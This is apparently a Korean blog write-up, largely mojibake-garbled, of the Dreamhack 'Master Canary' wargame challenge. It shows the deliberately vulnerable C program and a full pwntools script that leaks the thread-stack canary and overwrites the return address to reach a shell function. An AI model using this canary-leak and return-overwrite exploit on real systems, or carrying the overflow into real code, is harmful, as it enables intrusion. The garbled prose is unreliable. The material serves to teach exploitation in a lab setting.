Master Canary
๋ง์คํฐ ์นด๋๋ฆฌ๋ฅผ ์คํ ๋ฒํผ์ ํ์ธํ๋ ๋ฒ!
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192 // gcc -o master master.c -pthread#include <stdio.h>#include <stdlib.h>#include <signal.h>#include <unistd.h>#include <pthread.h>char *global_buffer;void alarm_handler() {puts("TIME OUT");exit(-1);}void initialize() {setvbuf(stdin, NULL, _IONBF, 0);setvbuf(stdout, NULL, _IONBF, 0);signal(SIGALRM, alarm_handler);alarm(60);}void get_shell() {system("/bin/sh");}void *thread_routine() {char buf[256];global_buffer = buf;}void read_bytes(char *buf, size_t size) {size_t sz = 0;size_t idx = 0;size_t tmp;while (sz < size) {tmp = read(0, &buf[idx], 1);if (tmp != 1) {exit(-1);}idx += 1;sz += 1;}return;}int main(int argc, char *argv[]) {size_t size;pthread_t thread_t;size_t idx;char leave_comment[32];initialize();while(1) {printf("1. Create thread\n");printf("2. Input\n");printf("3. Exit\n");printf("> ");scanf("%d", &idx);switch(idx) {case 1:if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0){perror("thread create error");exit(0);}break;case 2:printf("Size: ");scanf("%d", &size);printf("Data: ");read_bytes(global_buffer, size);printf("Data: %s", global_buffer);break;case 3:printf("Leave comment: ");read(0, leave_comment, 1024);return 0;default:printf("Nope\n");break;}}return 0;}cs
์ ์ฝ๋๊ฐ ํต์ฌ์ธ๋ฏ ์ถ์ผ๋ฉฐ, ๋ณด์๋ฉด..
1๋ฒ ์ต์
์ผ๋ก ์ฐ๋ ๋๋ฅผ ์์ฑ/2๋ฒ์ size๋ฅผ ์
๋ ฅ ํด๋น ์
๋ ฅ size๋งํผ ์
๋ ฅ์ ๋ฐ๋ค์
์ฆ, bof๊ฐ ๋ฐ์๋๊ฒ ์ฃ ? ๋ง์ง๋ง์ read ํจ์๋ก 1024๋ฐ์ดํธ๋งํผ ์
๋ ฅ ๋ฐ๊ธฐ
Master canary๋ฅผ ์ด์ฉํ ๊ฒ์ด๊ธฐ์(Partial RELRO, Canary)๋ฅผ ์ฐํ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.
๋ํ ์์ get_shell()์ ํจ์๊ฐ ์กด์ฌํ๋ฏ๋ก NX๋ ์ฐํ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.
๋ง์คํฐ ์นด๋๋ฆฌ๋ ๋ก๋์์ ํ ๋นํ TLS ์์ญ์ ์กด์ฌํ๊ณ , ํด๋น ํ์ด์ง๋ RW-๋ก ์กด์ฌํฉ๋๋ค.
ํด๋น ์์ญ์ ์ดํดํ๊ธฐ ์ํด์๋ ์๋ ๋งํฌ์ ๋ํ์ฌ ์์ธํ ์ ํ์๊ฐ ์์ต๋๋ค.
๋์ถฉ ์๋๋ฆฌ์ค๋ฅผ ์ค๊ณํ์๋ฉด.. 1๋ฒ์ผ๋ก ์ฐ๋ ๋ ์์ฑ ๊ทธ ์ด์
2๋ฒ์ผ๋ก master canary leak / 3๋ฒ์ผ๋ก ret overwrite(get_shell์ ์ด์ฉํ์ฌ)
์ด์ ์ฒ๋ผ ret์ master canary์ ๊ฑฐ๋ฆฌ๋ฅผ ๊ตฌํ ํ ์คํํ๋ฉด ๋๊ฒ ๋ค์.. ์ฝ๋๋ ์ ์ฌํด์ ใ
์์ ์ฐธ๊ณ ๋ก buf๊ฐ ์๊ธฐ์ ๊ทธ ํจ์๋ฅผ ํ์ฉํ์ฌ ๊ตฌํด๋ด
์๋ค.
dreamhack์ด ์ด๋ณด์๋ฅผ ์ํด์ ์ฐธ ์ฝ๋๋ฅผ ์ ์์ฑํด์ฃผ๋ค์ ใ
์ฃผ์์ผ๋ก global_buffer๋ผ๊ณ ๋์จ ๋ฐ๋ก ๋ฐ์ ๋ถ๋ถ์ ํ๋ณด๋ฅผ ๊ฑธ์ด์ค๋๋ค.
๋ฐ๋ก ๋ฐ์ canary์ ์๊ทธ๋์ฒ๊ฐ ์๊ธฐ์ ret๊ฐ์ ๊ตฌํ๋๋ฐ ์ข๊ฒ ์ฃ ?
๊ทผ๋ฐ ํ๋ณด๋ฅผ ๊ฑธ์ด์ ํ๋ ๋ฐฉ์๋ ์์ง๋ง ์ฌ๊ธฐ์ ์ ๋ global_buffer๋ฅผ ํ์ฉํ์ฌ ์๋์ฒ๋ผ..
์ ๋ ๊ฒํ๋ฉด ๋ญ๊ฐ ์คํ์ด ์ ์๋๋ค์
๊ทธ๋ผ ์ ์์ฒ๋ผ rbp-0x110์ fs_base+0x28์ offset์ ๊ตฌํ๋ฉด ๋๊ฒ ์ฃ ?
๊ทธ๋ผ ์๋ก์ ๊ฑฐ๋ฆฌ๊ฐ 0x928์ด๋ฏ๋ก ์ด์ ์ ์ฝ๋์ ํ์์ฒ๋ผ ์์ฑํ๋ค๋ฉด..
์ผ๋ฐ์ ์ผ๋ก ๋ง์คํฐ ์นด๋๋ฆฌ๋ ์คํ์ ์กด์ฌX๋ก BOF๊ฐ ๋ฐ์ํด๋ Exploit์ด ๋ถ๊ฐ๋ฅํ์ง๋ง..
์ฐ๋ ๋ ์คํ์ ๊ฒฝ์ฐ๋ ์์ธ์ ์ผ๋ก ์ฐ๋ ๋ ์คํ์ ๋ง์คํฐ ์นด๋๋ฆฌ๊ฐ ๋ค์ด๊ฐ๋ค.
๊ทผ๋ฐ ์๋ฌด๋ฆฌ ๋ง์คํฐ ์นด๋๋ฆฌ๋ฅผ ํด๋ ์๋์ ๊ตฌ๊ธ๋ง์ ์ข ํด๋ณด๋๊น ๋ค๋ฅธ ๋ง์คํฐ ์นด๋๋ฆฌ๋ฅผ ์ฌ์ฉํ๊ธฐ์
๊ทธ๋ฅ ์นด๋๋ฆฌ ๋ฆญ์ ํ๋ผ๊ณ ํ์๊ธธ๋ ์์ ๊ฐ์ด ํ์์ต๋๋ค.
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465 from pwn import *import sysdef main():FILENAME = './master_canary'HOST = 'host3.dreamhack.games'if(args['REMOTE']):p = remote(HOST, sys.argv[1])else:p = process(FILENAME)'''default Setting'''e = ELF(FILENAME, checksec=False)context(arch='amd64', os='linux', endian='little')context.log_level = 'debug'#context.cyclic_alphabet = 'ABC'get_shell = e.symbols['get_shell']'''payload script(buf-canary-sfp-ret)'''#payload = b'A'*0x110payload = b'A'*0x8e9 #Ubuntu 16.04 + printf func if print is \x00, so +1#payload += b'AAAAAAAA' #canaryp.sendlineafter('> ', '1')p.sendlineafter('> ', '2')inp_sz = len(payload)p.sendlineafter('Size: ', str(inp_sz))'''#fail solve#p.sendlineafter('Size: ', str(inp_sz))p.sendlineafter('Data: ', payload)p.recvuntil('A'* inp_sz)payload += b'B'*0x8payload += p64(get_shell)#ret overwrite##payload += cyclic(0x928-len(payload))payload += b'A'*(0x928-len(payload))payload += b'AAAAAAAA' #master canary'''canary = u64(p.recvn(7).rjust(8, b'\x00'))log.info(f'canary addr : {hex(canary)}')#RET Overwritepayload = b'A'*0x28payload += p64(canary)payload += b'B' * 0x8payload += p64(get_shell)#p.sendlineafter('Size: ', str(len(payload)))#p.sendlineafter('Data: ', payload)p.sendlineafter('> ', '3')p.sendlineafter('Leave comment: ', payload)p.interactive()if __name__=="__main__":main()cs
์ด ๋ถ๋ถ์ด ํต์ฌ์ผ๋ก ๋๋จธ์ง ์์ ์ฝ๋๋ ์ทจํฅ์ฐจ์ด์ด๋ฏ๋ก ๋์ด๊ฐ๋๋ก ํฉ์๋ค.
์์ canary leak์ ํ ๋์ฒ๋ผ rbp-0x114๊ฐ ์ด ๋ฒํผ์ ํฌ๊ธฐ์ด๋ฉฐ, ๋๋จธ์ง๋ ์์ ์ค๋ช
์์์ฒ๋ผ ํ๋ฉด..
์ง๋! ๋์ด ๋๊ฒ๋ฉ๋๋ค.
buf์ master canary์ ์ฌ์ด๊ฐ์ด๊ณ ์(ํ๊ฒฝ ์ด์๊ฐ ์์ด์ ํ๊ฒฝ๋ง ๋์ปค๋ก ํ์๊ณ ํ๋ฉด ๋๊ฐ์์)
printf๋ \x00์ ๋ฐ์ผ๋ฉด ์ถ๋ ฅํ๊ธฐ์ ์น์ด์ฃผ๊ธฐ ์ํด ๋ฃ์ผ์๊ณ ..
canary๋ฅผ ๋ฐ์ ๋ชจ์ต์ด๋ฉฐ, ret์ ๊ฐ์ ๋ณ์กฐํ๊ธฐ์ํด(master canary)๋ก ์ ๊ทผํ๊ธฐ์
ํด๋น ์นด๋๋ฆฌ ๊ฐ์ ์ฐ๋ฆฌ๊ฐ ์๊น ๋ฐ์๋ ๋ถ๋ถ์ผ๋ก ๋ฃ์ผ๋ฉด master canary๊ฐ ๋ค๋ฅธ ๊ณณ์์ ๋ฐ์
๊ณณ์ด๋ผ๋ ์ด์งํผ ์ฐ๋ฆฌ๊ฐ ์ฌ์ฉํ ๋ง์คํฐ ์นด๋๋ฆฌ๋ ๋๊ฐ์ด ๋ณ์กฐ ret๋ก ์ฐํํ๋ฉด..
master canary leak์ ์ด์ฉํ ๋ถ๋ถ์ด๋ผ๊ณ ํ ์ ์์ต๋๋ค!!
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
__environ (0) | 2022.11.13 |
---|---|
Background: SigReturn-Oriented Programming (0) | 2022.11.13 |
Exploit Tech: Master Canary (0) | 2022.11.13 |
Background: Master Canary (0) | 2022.11.10 |
seccomp (0) | 2022.11.06 |